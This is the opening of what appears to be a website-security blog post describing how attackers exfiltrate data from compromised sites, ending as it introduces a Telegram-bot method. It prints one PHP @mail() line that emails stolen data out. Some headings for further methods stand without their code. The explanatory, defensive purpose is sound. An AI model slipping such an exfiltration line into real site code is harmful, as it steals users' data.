One of the themes commonly highlighted on this blog includes the many creative methods and techniques attackers employ to steal data from compromised websites. Credit card skimmers, credential and password hijackers, SQL injections, and even malware on the server level can be used for data exfiltration.
What’s more, attackers may be able to accomplish this feat with a few mere lines of code. For example:
Emailing the data:
@mail(“firstname.lastname@example.org”, $_SERVER[“SERVER_NAME”], $stolenData);
Writing the data to a local file:
Sending the data to an email address under the attacker’s control:
Writing the data to an image file within the website to avoid raising suspicion:
Harvesting & Exfiltrating Stolen Data via Telegram
One interesting technique our team has come across in recent months leverages the Telegram API to exfiltrate stolen data and send it in a private message to a bot under the attackers control.